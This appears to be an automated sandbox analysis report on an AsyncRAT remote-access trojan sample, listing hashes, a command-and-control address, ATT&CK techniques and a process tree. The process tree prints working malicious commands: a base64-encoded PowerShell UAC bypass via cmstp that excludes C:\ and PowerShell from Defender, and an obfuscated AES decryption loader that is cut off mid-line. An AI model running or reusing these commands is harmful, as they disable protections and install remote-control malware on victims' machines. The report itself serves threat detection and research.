asyncrat | 8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb

Analysis

max time kernel
135s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
28-12-2024 01:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AIMr.exe
Size

62.5MB
MD5

9de2f7e5b6aec38fe08b447296413421
SHA1

4e5dbfdbb5512c545abaff0b9561bea95f4abdd4
SHA256

8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb
SHA512

48e01b5698bd2bfb29fda2d40a166896aafbf9086fda89590af8f476686e584fc14fb464400c13488abf55db7be39d62bdc226fa95ce8456fb2a1112ddf82b10
SSDEEP

49152:CbOWffF0ChpMq2yNO/6heTR8DgVmkLoqlfqcIjRmUwhD8aW+bX1aeTDjotOieZxG:GOfChpMq

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

Syx7cNbJlqC2

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral5/memory/2972-118-0x0000000006090000-0x00000000060A2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	2972	powershell.exe
4	2972	powershell.exe
5	2972	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2044	powershell.exe
1068	powershell.exe
1744	powershell.exe
4848	powershell.exe
2972	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2216	ngrok.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4828	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2216	ngrok.exe
2216	ngrok.exe
2216	ngrok.exe
2216	ngrok.exe
1068	powershell.exe
1068	powershell.exe
1744	powershell.exe
1744	powershell.exe
4848	powershell.exe
4848	powershell.exe
2972	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	4828	taskkill.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: 33	4848	powershell.exe
Token: 34	4848	powershell.exe
Token: 35	4848	powershell.exe
Token: 36	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: 33	4848	powershell.exe
Token: 34	4848	powershell.exe
Token: 35	4848	powershell.exe
Token: 36	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 3300	3872	AIMr.exe	77
PID 3872 wrote to memory of 3300	3872	AIMr.exe	77
PID 3872 wrote to memory of 5036	3872	AIMr.exe	78
PID 3872 wrote to memory of 5036	3872	AIMr.exe	78
PID 5036 wrote to memory of 3396	5036	cmd.exe	82
PID 5036 wrote to memory of 3396	5036	cmd.exe	82
PID 3300 wrote to memory of 2216	3300	cmd.exe	81
PID 3300 wrote to memory of 2216	3300	cmd.exe	81
PID 3396 wrote to memory of 2044	3396	WScript.exe	84
PID 3396 wrote to memory of 2044	3396	WScript.exe	84
PID 2044 wrote to memory of 1140	2044	powershell.exe	87
PID 2044 wrote to memory of 1140	2044	powershell.exe	87
PID 1140 wrote to memory of 3536	1140	csc.exe	88
PID 1140 wrote to memory of 3536	1140	csc.exe	88
PID 2044 wrote to memory of 4148	2044	powershell.exe	89
PID 2044 wrote to memory of 4148	2044	powershell.exe	89
PID 3396 wrote to memory of 2880	3396	WScript.exe	95
PID 3396 wrote to memory of 2880	3396	WScript.exe	95
PID 2880 wrote to memory of 1744	2880	cmd.exe	97
PID 2880 wrote to memory of 1744	2880	cmd.exe	97
PID 2880 wrote to memory of 1744	2880	cmd.exe	97
PID 1744 wrote to memory of 4848	1744	powershell.exe	98
PID 1744 wrote to memory of 4848	1744	powershell.exe	98
PID 1744 wrote to memory of 4848	1744	powershell.exe	98
PID 1744 wrote to memory of 4648	1744	powershell.exe	101
PID 1744 wrote to memory of 4648	1744	powershell.exe	101
PID 1744 wrote to memory of 4648	1744	powershell.exe	101
PID 4648 wrote to memory of 2020	4648	WScript.exe	102
PID 4648 wrote to memory of 2020	4648	WScript.exe	102
PID 4648 wrote to memory of 2020	4648	WScript.exe	102
PID 2020 wrote to memory of 2972	2020	cmd.exe	104
PID 2020 wrote to memory of 2972	2020	cmd.exe	104
PID 2020 wrote to memory of 2972	2020	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\AIMr.exe
"C:\Users\Admin\AppData\Local\Temp\AIMr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start ngrok.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2216
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 9780_output.vbs
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9780_output.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\njwxrfqx\njwxrfqx.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1140
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA519.tmp" "c:\Users\Admin\AppData\Local\Temp\njwxrfqx\CSCB78C676D2344E408B3B24824E9C2D4B.TMP"
        6⤵
        
        PID:3536
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\gtqrefq2.inf
        5⤵
        
        PID:4148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2880
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, 